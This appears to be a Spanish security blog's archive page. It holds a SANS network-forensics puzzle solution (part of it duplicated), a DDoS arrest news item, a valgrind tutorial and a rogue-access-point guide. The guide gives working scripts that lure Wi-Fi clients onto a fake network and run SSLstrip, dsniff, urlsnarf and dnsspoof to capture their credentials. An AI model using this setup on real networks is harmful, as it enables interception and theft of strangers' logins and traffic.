Category Archives: Seguridad - Page 2

Solución al reto forense del SANS Institute – Puzzle #2

He leído hace poco una entrada en el blog de Jose Selvi que el SANS Institute propuso otro reto de análisis forense de red del que no había tenido constancia (es lo que tiene estar tanto tiempo “offline”), y es que esta gente proponen con regularidad una serie de retos al público para que sean resueltos y ofrecen premios a las soluciones más elegantes, claro que lo que ellos consideran elegante es crear herramientas para resolver sus retos, que posteriormente ofreceran a los alumnos de los trainings que realizan en Orlando y Baltimore (¿solo a mí me suena esto de más de uno?).

http://forensicscontest.com/2009/09/25/puzzle-1-solution-anns-bad-aim

What we considered “elegant” was the construction of some automated process for solving the puzzle which was easy to use, easy to understand, very portable, and would easily be able to scale to much larger and more difficult problems.

Los trainings de análisis forense de red del SANS Institute y más concretamente el SEC 558 y el SEC 560 cuestan respectivamente $3,845 y $4,295 así que poquitas ganas me dan de hacerles las herramientas y mucho menos enviárselas, pero ya sabemos cómo es esto de la formación, ¿verdad?.

Después de esta pequeña reflexión vamos a ver cómo podemos solucionar el reto.

La url del mismo es http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail donde nos dicen:

After being released on bail, Ann Dercover disappears! Fortunately, investigators were carefully monitoring her network activity before she skipped town.

“We believe Ann may have communicated with her secret lover, Mr. X, before she left,” says the police chief. “The packet capture may contain clues to her whereabouts.”

You are the forensic investigator. Your mission is to figure out what Ann emailed, where she went, and recover evidence including:

1. What is Ann’s email address?
2. What is Ann’s email password?
3. What is Ann’s secret lover’s email address?
4. What two items did Ann tell her secret lover to bring?
5. What is the NAME of the attachment Ann sent to her secret lover?
6. What is the MD5sum of the attachment Ann sent to her secret lover?
7. In what CITY and COUNTRY is their rendez-vous point?
8. What is the MD5sum of the image embedded in the document?

Please use the Official Submission form to submit your answers. Prize TBD. Prize will be a Lenovo IdeaPad S10-2 – just like the free netbooks Sec558 students will get in Orlando.

Here is your evidence file:

http://forensicscontest.com/contest02/evidence02.pcap
MD5 (evidence02.pcap) = cfac149a49175ac8e89d5b5b5d69bad3

Así que empezamos, nos descargamos el archivo de captura, comprobaremos la firma MD5 y corremos p0f con algunas que otras herramientas y expresiónes regulares para filtrar la salida y ver qué hosts mantienen conexiones TCP/IP en la captura:

$ p0f -s evidence02.pcap 2>/dev/null | egrep “^[0-9]{1,3}” | tr -s ‘:’ ‘-’ | awk -F\- ‘{print $1,$3}’ | sort -u

192.168.1.159 Windows XP SP1+, 2000 SP3

Y vemos actividad de la IP 192.168.1.159, así que vamos a abrir el archivo de captura con Wireshark y aplicamos el filtro: ip.addr == 192.168.1.159

Nos vamos al paquete nº 45 que según nos dice Wireshark usa el protocolo “BROWSER” (anuncio smb), y obtenemos algunos datos del apartado “Microsoft Windows Browser Protocol” dentro de la cabecera NetBIOS, como son:


  • Host Name
  • OS Major Version
  • OS Minor Version
  • Host Comment

Con los datos de “OS Major Version” y “OS Minor Version”, nos vamos a http://msdn.microsoft.com/en-us/library/cc246960%28PROT.10%29.aspx y vemos que al tratarse de Major = 5 y Minor = 1, Ann usa un Windows XP (cosa que nos había estimado p0f).

Ahora cojemos cualquier paquete con IP de origen 192.168.1.159 y cuyo destino no sea el broadcast, por ejemplo el paquete nº 49 que es una petición DNS, y vemos en la cabecera ethernet la dirección MAC de destino “00:0c:29:9b:ee:14”, lo que quiere decir que esa es la puerta de enlace que está usando el PC de Ann Dercover, así que aplicamos un simple filtro “arp and eth.src == 00:0c:29:9b:ee:14” y vemos que la dirección MAC corresponde a la IP 192.168.1.10, luego ya tenemos los datos de la puerta de enlace. A simple vista si filtramos por dirección IP de origen vemos que la puerta de enlace usa un servicio de NTP (Network Time Protocol), y un Firewall con logs en remoto a 192.168.1.30. Todos estos datos podrían servirnos para crear una línea temporal de la actividad del PC de Ann en caso de que los paquetes no tuviesen timestamp, pero vamos a centrarnos de momento en la actividad de Ann.

Con las dos direcciones MAC que tenemos, nos vamos a http://anonsvn.wireshark.org/wireshark/trunk/manuf y buscamos los tres primeros campos de la dirección MAC, y tenemos que Ann usa un portátil Dell y la puerta de enlace es un sistema virtualizado sobre VMWare.

Por tanto, los datos del PC de Ann Dercover recopilados hasta ahora son:


  • IP: 192.168.1.159
  • MAC: 00:21:70:4d:4f:ae
  • Portátil: Dell
  • Nombre del equipo: ANN-LAPTOP
  • Grupo de trabajo: WORKGROUP
  • Sistema Operativo: Windows XP
  • Comentario del e quipo: ann’s laptop
  • Protocolos: NETBIOS, SMB, DNS, SMTP, SYSLOG
  • Servidor DNS: 10.1.1.20
  • Puerta de enlace:
    • IP: 192.168.1.10
    • MAC: 00:0c:29:9b:ee:14 (VMWare)

Seguimos analizando la captura, y vemos que Ann realiza una consulta dns a 10.1.1.20 preguntando por “smtp.aol.com” y justo después inicia una sesión SMTP, así que obtenemos:

Servidor SMTP:


  • Host: smtp.aol.com
  • Nombre primario: smtp.cs.com
  • IP: 64.12.102.142
  • Puerto: 587

Ahora vamos a ver cuánto duró y cuándo se estableció la conexión con el servidor SMTP, para ello seleccionamos con un click el paquete nº 56 que es cuando el cliente de correo de Ann ha finalizado la sincronización de la conexión con el servidor SMTP, y en la ventana de detalles del paquete (donde aparecen todas las cabeceras) desplegamos los datos de “Frame”, vemos que en el campo “Arrival Time” nos dice la fecha y hora de la recepción del paquete: Oct 10, 2009 15:35:31.101734000. Ahora vamos al paquete nº 564 que es cuando el cliente envía el comando “QUIT” al servidor SMTP y realizando la misma operación tenemos la fecha y hora de envío del paquete: Oct 10, 2009 15:38:14.908571000, así que la sesión SMTP duró 4 minutos aproximadamente, así que vamos a ver qué hizo Ann durante la sesión SMTP.

NOTA: Los datos de fecha y hora también podríamos haberlos sacado leyendo los paquetes NTP entre 192.168.1.10 y 192.168.1.30, la fecha y hora enviada por el servidor SMTP en el paquete nº 56, estableciendo un paquete como referencia y haciendo los cálculos.

Ahora, para ver la sesión SMTP hacemos click sobre un paquete de la conexión y le damos a “Analize Follow TCP Stream”, y veremos:

220 cia-mc06.mx.aol.com ESMTP mail_cia-mc06.1; Sat, 10 Oct 2009 15:35:16 -0400

EHLO annlaptop

250-cia-mc06.mx.aol.com host-69-140-19-190.static.comcast.net

250-AUTH=LOGIN PLAIN XAOL-UAS-MB

250-AUTH LOGIN PLAIN XAOL-UAS-MB

250-STARTTLS

250-CHUNKING

250-BINARYMIME

250-X-AOL-FWD-BY-REF

250-X-AOL-DIV_TAG

250-X-AOL-OUTBOX-COPY

250 HELP

AUTH LOGIN

334 VXNlcm5hbWU6

c25lYWt5ZzMza0Bhb2wuY29t

334 UGFzc3dvcmQ6

NTU4cjAwbHo=

235 AUTHENTICATION SUCCESSFUL

MAIL FROM: <sneakyg33k@aol.com>

250 OK

RCPT TO: <sec558@gmail.com>

250 OK

DATA

354 START MAIL INPUT, END WITH “.” ON A LINE BY ITSELF

Message-ID: <000901ca49ae$89d698c0$9f01a8c0@annlaptop>

From: “Ann Dercover” <sneakyg33k@aol.com>

To: <sec558@gmail.com>

Subject: lunch next week

Date: Sat, 10 Oct 2009 07:35:30 -0600

MIME-Version: 1.0

Content-Type: multipart/alternative;

.boundary=”—-=_NextPart_000_0006_01CA497C.3E4B6020″

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2900.2180

X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180

This is a multi-part message in MIME format.

——=_NextPart_000_0006_01CA497C.3E4B6020

Content-Type: text/plain;

.charset=”iso-8859-1″

Content-Transfer-Encoding: quoted-printable

Sorry– I can’t do lunch next week after all. Heading out of town. =

Another time! -Ann

——=_NextPart_000_0006_01CA497C.3E4B6020

Content-Type: text/html;

.charset=”iso-8859-1″

Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>

<HTML><HEAD>

<META http-equiv=3DContent-Type content=3D”text/html; =

charset=3Diso-8859-1″>

<META content=3D”MSHTML 6.00.2900.2853″ name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>Sorry– I can’t do lunch next week =

after all.=20

Heading out of town. Another time! -Ann</FONT></DIV></BODY></HTML>

——=_NextPart_000_0006_01CA497C.3E4B6020–

250 OK

QUIT

221 SERVICE CLOSING CHANNEL

De donde podemos extraer los siguientes datos:


  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t sneakyg33k@aol.com
  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz
  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180
  • Emisor: “Ann Dercover” <sneakyg33k@aol.com>
  • Destinatario: sec558@gmail.com
  • Asunto del email: lunch next week
  • Cuerpo del mensaje: Sorry I can’t do lunch next week after all. Heading out of town. Another time! Ann

A continuación, en el paquete nº 113 se establece otra conexión, así que volvemos a hacer lo mismo, seleccionamos el paquete, y le damos a “Analize Follow TCP Stream”, de donde podemos extraer la siguiente información:


  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t sneakyg33k@aol.com
  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz
  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180
  • Emisor: “Ann Dercover” <sneakyg33k@aol.com>
  • Destinatario: mistersecretx@aol.com
  • Asunto del mensaje: rendezvous
  • Cuerpo del mensaje: Hi sweetheart! Bring your fake passport and a bathing suit. Address attached. love, Ann

Y a continuación, en el mismo email, vemos lo siguiente:

Content-Type: application/octet-stream;

.name=”secretrendezvous.docx”

Content-Transfer-Encoding: base64

Content-Disposition: attachment;

.filename=”secretrendezvous.docx”


Así que lo siguiente es el adjunto del mail, y ya que está codificado en base64, vamos a copiar todo el “texto” siguiente y decodificarlo. En mi caso lo he guardado como “adjunto_email.base64”, así que para decodificarlo basta con hacer:

$ openssl enc -d -base64 -in adjunto_email.base64 -out adjunto_email

Obtendremos el MD5 del documento:

$ md5sum adjunto_email

9e423e11db88f01bbff81172839e1923 adjunto_email

Y ya podremos leer el documento adjunto, que vemos que dice:

Meet me at the fountain near the rendezvous point. Address below. I’m bringing all the cash.

Y adjunta una imagen de Google Maps con la localización de “Playa del Carmen” en la Av. Constituyentes 1 Calle 10 por la quinta avenida, 77780, México.



Algo interesante que probablemente no sepa más de uno, es que la mayoría (si no todos) los documentos de Office (pptx, docx, etc.), en realidad son archivos comprimidos en ZIP donde se guardan todos los elementos del documento, así que vamos a verificarlo y extraer todos los elementos:

$ file adjunto_email

adjunto_email: Zip archive data, at least v2.0 to extract


$ unzip adjunto_email

Archive: adjunto_email

inflating: [Content_Types].xml

inflating: _rels/.rels

inflating: word/_rels/document.xml.rels

inflating: word/document.xml

extracting: word/media/image1.png

inflating: word/theme/theme1.xml

inflating: word/settings.xml

inflating: word/webSettings.xml

inflating: word/styles.xml

inflating: docProps/core.xml

inflating: word/numbering.xml

inflating: word/fontTable.xml

inflating: docProps/app.xml

Y vemos ahí la imagen adjunta en “word/media/image1.png” y el texto del documento en “word/document.xml”, así que obtenemos el MD5 de la imagen PNG:

$ md5sum word/media/image1.png

aadeace50997b1ba24b09ac2ef1940b7 word/media/image1.png

Así que aprovechando las fechas y horas obtenidas anteriormente, podemos decir que:


  • El sábado 10 de Octubre de 2009 a las 15:35:31, Ann Dercover envió un mail a “sec558@gmail.com desde la dirección de email sneakyg33k@aol.comcancelando la cita para almorzar a la semana siguiente.
  • El sábado 10 de Octubre de 2009 a las 15:38:11, Ann Dercover envió un mail a mistersecretx@aol.com desde la dirección sneakyg33k@aol.com para confirmar la cita.

Estas horas y fechas se extrayeron del timestamp de los paquetes, y coinciden con la fecha y hora en los paquetes enviados de 192.168.1.10 a 192.168.1.30 mediante NTP, sinembargo, en los emails enviados por Ann, ponía fechas y horas diferentes, y si extraemos los metadatos del documento enviado por Ann a mistersecretx@aol.com vemos que las fechas y horas de creación y modificación son:


  • Creación: 10 OCT 2009 17:58:00
  • Última modificación: 10 OCT 2009 18:29:00
  • Veces editado: 1

Por lo que al parecer la fecha y hora “real” difieren de la fecha y hora del PC de Ann, lo cual es posible si Ann no tiene debidamente configurada la fecha y hora en su PC o bien, si ha viajado y se encuentra en otra zona horaria.


Así que con toda la información de la que disponemos vamos a tratar de responder a las preguntas del reto:


  • ¿Cuál es la dirección de correo de Ann Dercover?
    • sneakyg33k@aol.com
  • ¿Cuál es la clave del correo?
    • 558r00lz
  • ¿Cuál es la dirección de correo del amor secreto de Ann Dercover?
    • mistersecretx@aol.com
  • ¿Qué dos elementos le dijo Ann Dercover a su amor secreto que llevase?
    • Un pasaporte falso y un traje de baño
  • ¿Cuál es el nombre del adjunto que Ann Dercover le ha enviado a su amor secreto?
    • secretrendezvous.docx

  • ¿Cuál es el MD5 del adjunto enviado por Ann Dercover a su amor secreto?
    • 9e423e11db88f01bbff81172839e1923

  • ¿En qué ciudad y pais se encuentra el punto de encuentro?
    • Playa del Carmen, 77780, México

  • ¿Cuál es el MD5 de la imagen embebida en el documento?
    • aadeace50997b1ba24b09ac2ef1940b7

Y como soy el “tonto de los scripts” aquí os dejo uno para p0f y otro para saber la versión de Windows con los datos de  Major/Minor Version.

#!/bin/bash

if [ ! $# -eq 1 ]
then
echo -e “\nUso: $0 archivo_captura\n”
exit 1
fi

POF=`which p0f`

if [ -z "$POF" ]
then
echo -e “\np0f no encontrado!\n”
exit 1
fi

$POF -s $1 2>/dev/null | egrep “^[0-9]{1,3}” | tr -s ‘:’ ‘-’ | awk -F\- ‘{print $1,$3}’ | sort -u

unset POF
exit 0

#!/bin/bash

if [ ! $# -eq 2 ]
then
echo -e “\nUso: $0 os_major_version os_minor_version\n”
exit 0
fi

case $1 in
4)
if [ $2 -eq "0" ]
then
echo “Windows NT 4.0″
fi
;;

5)
case $2 in
0)
echo “Windows 2000″
;;

1)
echo “Windows XP”
;;

2)
echo “Windows Server 2003 / Windows Server 2003 R2″
;;
esac
;;

6)
case $2 in
0)
echo “Windows Vista / Windows Server 2008″
;;

1)
echo “Windows Vista / Windows Server 2008 R2″
;;

esac
;;
esac

exit 0

De donde podemos extraer los siguientes datos:

  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t sneakyg33k@aol.com

  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz

  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180

  • Emisor: “Ann Dercover” <sneakyg33k@aol.com>

  • Destinatario: sec558@gmail.com

  • Asunto del email: lunch next week

  • Cuerpo del mensaje: Sorry I can’t do lunch next week after all. Heading out of town. Another time! Ann

A continuación, en el paquete nº 113 se establece otra conexión, así que volvemos a hacer lo mismo, seleccionamos el paquete, y le damos a “Analize Follow TCP Stream”, de donde podemos extraer la siguiente información:

  • Usuario (Codificado en Base64) : c25lYWt5ZzMza0Bhb2wuY29t sneakyg33k@aol.com

  • Clave (Codificado en Base64): NTU4cjAwbHo= 558r00lz

  • Cliente de correo: Microsoft Outlook Express 6.00.2900.2180

  • Emisor: “Ann Dercover” <sneakyg33k@aol.com>

  • Destinatario: mistersecretx@aol.com

  • Asunto del mensaje: rendezvous

  • Cuerpo del mensaje: Hi sweetheart! Bring your fake passport and a bathing suit. Address attached. love, Ann

Y a continuación, en el mismo email, vemos lo siguiente:

Detenido un menor de edad por ataques DDoS

El menor, un autodidacta informático, consiguió evadir protocolos de seguridad considerados como infranqueables.

Tras controlar más de 75.000 ordenadores repartidos por todo el mundo de internautas, lanzó un ataque masivo de más de doce millones de visitas, a una página web prestigiosa de la seguridad informática

“No sabemos” a qué se refieren exáctamente con eso de “(…)evadir protocolos de seguridad considerados como infranqueables.”, pero aun así, felicitar a la Guardia Civil por su trabajo en la operación “CANDELARIA”.

http://www.guardiacivil.org/prensa/notas/win_noticia.jsp?idnoticia=2724

https://foro.elhacker.net/noticias/un_menor_de_edad_imputado_en_un_ataque_masivo_contra_el_sitio_elhackernet-t275900.0.html

http://meneame.net/story/imputado-hacker-16-anos-habia-infectado-mas-75.000-ordenadores

http://elladodelmal.blogspot.com/2009/11/imputado-por-un-ddos-el-hackernet.html

http://www.elmundo.es/elmundo/2009/11/26/navegante/1259238023.html

http://www.europapress.es/islas-canarias/noticia-menor-detenido-tenerife-presunto-autor-ataque-informatico-20091126162644.html

http://www.abc.es/20091126/nacional-islas-baleares/menor-tenerife-imputado-ataque-200911261636.html

http://www.elpais.com/articulo/sociedad/hacker/anos/ataca/75000/ordenadores/elpepusoc/20091126elpepusoc_10/Tes

http://www.20minutos.es/noticia/575229/0/ataque/informatico/ordenadores/

http://www.publico.es/agencias/efe/273108/imputado/hacker/anos/infectado/ordenadores

http://www.elmundo.es/elmundo/2009/11/26/navegante/1259238023.html

Ni que decir tiene que el virus usado no era nada del otro mundo.

Creando un punto de acceso falso – II

Post Actualizado: http://opensec.es/2011/03/30/howto-rogue-ap/

Hace algún tiempo escribí un artículo a modo de manual con un script final para crear puntos de acceso falso usando airbase-ng.

En este segundo artículo, voy a resumir brevemente los pasos mencionados en el primer artículo y mostrar diferentes caminos y algunas aplicaciones finales.

Lo primero será instalar los servidores DHCP y DNS necesarios, y ajustar su configuración. En este caso usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″.

Dado que queremos ofrecer conexión a internet a los clientes, debemos configurar el servidor DHCP para usar los rangos de IP que creamos más convenientes, en el archivo /etc/dhcp3/dhcpd.conf, en mi caso queda así:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Para ahorrarnos problemas, nos aseguramos de que ambos demonios están detenidos:

/etc/init.d/dhcp3-server stop
/etc/init.d/bind9 stop

Acto seguido, ajustaremos los parámetros de “airbase-ng” en función a lo que queramos hacer, en mi caso crearé un AP con cifrado WEP, por lo que los pasos para montar el AP serán:

  1. airbase-ng -I 100 -P -C 2 -c 6 –essid Wifli_Gratis rausb0 -w 5A303031333439454430374333
  2. ifconfig at0 10.0.0.1 up
  3. dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
  4. sysctl net.ipv4.ip_forward=1
  5. iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
  6. /etc/init.d/bind9 start

Listo, con esto ya tendremos la red creada y proporcionaremos acceso a internet a los clientes:

Cell 06 – Address: XX:XX:XX:XX:XX:XX
ESSID:”Wifli”
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=96/100  Signal level=-31 dBm  Noise level=-127 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=ffffffffd4670326

Una vez tenemos a los clientes conectados, vamos con lo siguiente:

SSLstrip: Suplanta sesiones web HTTPS por HTTP

$ sudo apt-get install python python-twisted-web
$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz && tar xf sslstrip-0.6.tar.gz

DSniff: Suite – Principalmente usaremos ‘dsniff’, ‘urlsnarf’ y ‘dnsspoof’ para suplantar nombres de dominio

  • Para distribuciones basadas en Debian: $ sudo apt-get install dsniff
  • Fuentes: http://monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

p0f: Detección de SO pasivo

  • Para distribuciones basadas en Debian: $ sudo apt-get install p0f
  • Fuentes: http://lcamtuf.coredump.cx/p0f.tgz

TCPTrack: Monitor de conexiones TCP

  • Para distribuciones basadas en Debian: $ sudo apt-get install tcptrack
  • Fuentes: http://www.rhythm.cx/~steve/devel/tcptrack/release/1.2.0/source/tcptrack-1.2.0.tar.gz

Para comenzar está bien, aunque siempre podemos ponernos más “juguetones” y que el tráfico de red crezca de una manera descontrolada, usando karmetasploit.

Script para crear el AP:

#!/bin/sh
#
# Scriwap 1.5 - Script to create rogue AP
#
# Chema Garcia (a.k.a. sch3m4)
# sch3m4@opensec.es
# http://opensec.es
#

RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
RUTA_BIND9='/etc/init.d/bind9'
RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
RUTA_DHCPD3='/usr/sbin/dhcpd3'
RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
RUTA_SYSCTL='/sbin/sysctl'
RUTA_IPTABLES='/sbin/iptables'
AIRBASE_IFACE='at0'
LOG='.scriwap.log'

function check
{
 if [ ! $? -eq 0 ]
 then
 echo -e "[!] Error - Check "$LOG""
 exit $?
 fi
}

echo "###############################"
echo "#        SCRIWAP 1.5          #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      sch3m4@opensec.es      #"
echo "#      http://opensec.es      #"
echo "###############################"
echo ""

if [ $# -lt 4 ]
then
 echo -e "Use: $0 <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
 echo -e "Ej: $0 wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

#comienzo de parametros de airbase
ifacenet=$1
ifacemon=$2
ip=$3
mascara=$4
narg=$#
num=5

while [ $# -gt 0 ] && [ $num -le $narg ];do
 param="$param $5"
 shift
 num=$(($num+1))
done
param="$param $ifacemon"

#Activamos el IP Forwarding
echo "[+] Setting up IP Forwarding"
sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
check

echo "[+] Stopping DHCP daemon"
sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
echo "[+] Stopping DNS daemon"
sudo $RUTA_BIND9 stop 2>&1 >> $LOG

echo "[+] Flushing 'nat' table"
sudo $RUTA_IPTABLES -t nat -F
check

echo "[+] Adding iptables rule"
sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
check

echo "[+] Setting up Acces Point..."
sudo rmmod tun 2>&1 >> $LOG
xterm -e sudo $RUTA_AIRBASE $param &
sleep 3

echo "[+] Settin up interface $AIRBASE_IFACE"
sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
check

echo "[+] Starting DHCP daemon"
sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
check

echo "[+] Starting DNS daemon"
sudo $RUTA_BIND9 start 2>&1 >> $LOG
check

echo -e "\n[+] Finished!\n"

exit 0

Script para lanzar las herramientas:

#!/bin/bash
#
# Chema Garcia (a.k.a. sch3m4)
# sch3m4@opensec.es
# http://opensec.es
#

RUTA_IPTABLES='/sbin/iptables'
RUTA_SSLSTRIP='/home/sch3m4/FakeAP/sslstrip-0.6/sslstrip.py'
RUTA_DSNIFF='/usr/sbin/dsniff'
RUTA_URLSNARF='/usr/sbin/urlsnarf'
RUTA_DNSSPOOF='/usr/sbin/dnsspoof'
RUTA_P0F='/usr/sbin/p0f'
RUTA_TCPTRACK='/usr/bin/tcptrack'
RUTA_TCPDUMP='/usr/sbin/tcpdump'
PUERTO='4664'
RUTA_HOSTSDNS='' # You have to create a file to use dnsspoof

if [ ! $# -eq 1 ]
then
 echo -e "\nUse: $0 <iface>\n"
 exit 1
fi

if [ ! $UID -eq 0 ]
then
 sudo ls / 2>&1 >/dev/null
fi

echo -e "[?] Do you want to save the capture using tcpdump? (y/n): \c"
read SAVE

if [ "$SAVE" == 'y' ] || [ y"$SAVE" == 'y' ]
then
 SAVE_FILE=''
 while [ -z "$SAVE_FILE" ]
 do
 echo -e "[?] Filename: \c"
 read SAVE_FILE
 done
else
 SAVE_FILE=''
fi

echo '[+] Adding iptables rule'
sudo $RUTA_IPTABLES -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $PUERTO

echo -e '[+] Launching SSLstrip...\c'
xterm -e sudo $RUTA_SSLSTRIP -l $PUERTO &
echo 'OK'

echo -e '[+] Launching Dsniff...\c'
xterm -e sudo $RUTA_DSNIFF -i $1 &
echo 'OK'

if [ ! -z "$RUTA_HOSTSDNS" ]
then
 echo -e '[+] Launching DNSspoof...\c'
 xterm -e sudo $RUTA_DNSSPOOF -i $1 -f $RUTA_HOSTSDNS &
 echo 'OK'
fi

echo -e '[+] Launching p0f...\c'
xterm -e sudo $RUTA_P0F -i $1 -U -t &
echo 'OK'

echo -e '[+] Launching TCPtrack...\c'
xterm -e sudo $RUTA_TCPTRACK -i $1 &
echo 'OK'

echo -e '[+] Launching URLsnarf...\c'
xterm -e sudo $RUTA_URLSNARF -i $1 &
echo 'OK'

if [ ! -z "$SAVE_FILE" ]
then
 echo -e '[+] Launching TCPDump...\c'
 xterm -e sudo $RUTA_TCPDUMP -i $1 -w $SAVE_FILE &
 echo 'OK'
fi

exit 0

Ambos scripts están disponibles en:

http://pastebin.com/f671cce89
http://pastebin.com/f332a2d1a

Análisis dinámico de ejecutables en GNU/Linux

Normalmente, cuando estamos desarrollando una aplicación y queremos depurarla para ver una descripción más detallada de los posibles errores, solemos usar GDB (GNU Debugger), para hacer una traza de las llamadas a rutinas, ver el contenido de la pila, registros, etc.

Todo este procedimiento está muy bien para subsanar errores, pero ¿y si lo que queremos no es solo subsanar errores sino que además queremos optimizar nuestra aplicación? Es bien sabido que se le pueden pasar ciertos parámetros al compilador para ayudarnos en esta tarea (optimización de código en tamaño y velocidad, uso variables no inicializadas, errores/warnings de conversión de tipos, arquitectura, estándares, etc.) pero ¿qué hay de la gestión que realiza nuestra aplicación de la memoria dinámica? Además de que por accidente reservemos menos memoria de la que necesitamos (olvidando un “+1″ en algún calloc) que puede no fallar siempre, y que hará que nos dejemos los ojos buscando el error, puede que olvidemos un free que puede “no tener importancia”, pero que después de un tiempo de ejecución el sistema se ralentiza y la aplicación nos suelta un precioso mensaje de “Violación de segmento”.

Para analizar todos estos problemas en tiempo de ejecución, existe una herramienta de análisis y depuración dinámica para las plataformas “X86/Linux, AMD64/Linux, PPC32/Linux, PPC64/Linux.” (*BSD??), llamada “valgrind“.

Veamos un ejemplo con el siguiente programa:

#include <stdlib.h>

int main()
{
        char *x=calloc(10,sizeof(char));
        return 0;
}

Para que valgrind sea capaz de darnos una información más detallada, vamos a compilar este programa con la opción “-g” de gcc para incluir los símbolos.

Analizamos con valgrind:

$ valgrind ./p1
==30042== Memcheck, a memory error detector.
==30042== Copyright (C) 2002-2007, and GNU GPL’d, by Julian Seward et al.
==30042== Using LibVEX rev 1854, a library for dynamic binary translation.
==30042== Copyright (C) 2004-2007, and GNU GPL’d, by OpenWorks LLP.
==30042== Using valgrind-3.3.1-Debian, a dynamic binary instrumentation framework.
==30042== Copyright (C) 2000-2007, and GNU GPL’d, by Julian Seward et al.
==30042== For more details, rerun with: -v
==30042==
==30042==
==30042== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 13 from 1)
==30042== malloc/free: in use at exit: 10 bytes in 1 blocks.
==30042== malloc/free: 1 allocs, 0 frees, 10 bytes allocated.
==30042== For counts of detected errors, rerun with: -v
==30042== searching for pointers to 1 not-freed blocks.
==30042== checked 59,868 bytes.
==30042==
==30042== LEAK SUMMARY:
==30042==    definitely lost: 10 bytes in 1 blocks.
==30042==      possibly lost: 0 bytes in 0 blocks.
==30042==    still reachable: 0 bytes in 0 blocks.
==30042==         suppressed: 0 bytes in 0 blocks.
==30042== Rerun with –leak-check=full to see details of leaked memory.

Inicialmente, nos informa de que hemos reservado 10 bytes que no han sido liberados antes de finalizar el programa. Ahora ejecutaremos valgrind con la opción “–leak-check=full” para mayor información, y además de la información anterior, nos dice:

==30171== 10 bytes in 1 blocks are definitely lost in loss record 1 of 1
==30171==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==30171==    by 0x80483C8: main (p1.c:5)

Este ejemplo es muy básico, y solo nos muestra un mensaje de error, así que ahora vamos a provocar un error menos evidente colocando correctamente las llamadas a free:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)]='B';
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Aparentemente parece que todo está bien, incluso si lo compilamos y ejecutamos, lo más probable es que tengamos los printf`s esperados, así que compilando de nuevo con la opción “-g” vamos a ver qué dice valgrind:

$ valgrind –leak-check=full ./p1
==32101== Invalid write of size 1
==32101==    at 0×8048469: main (p1.c:14)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0×4024483: strlen (mc_replace_strmem.c:242)
==32101==    by 0×4094604: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x40A0C38: _IO_default_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x409DCB0: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
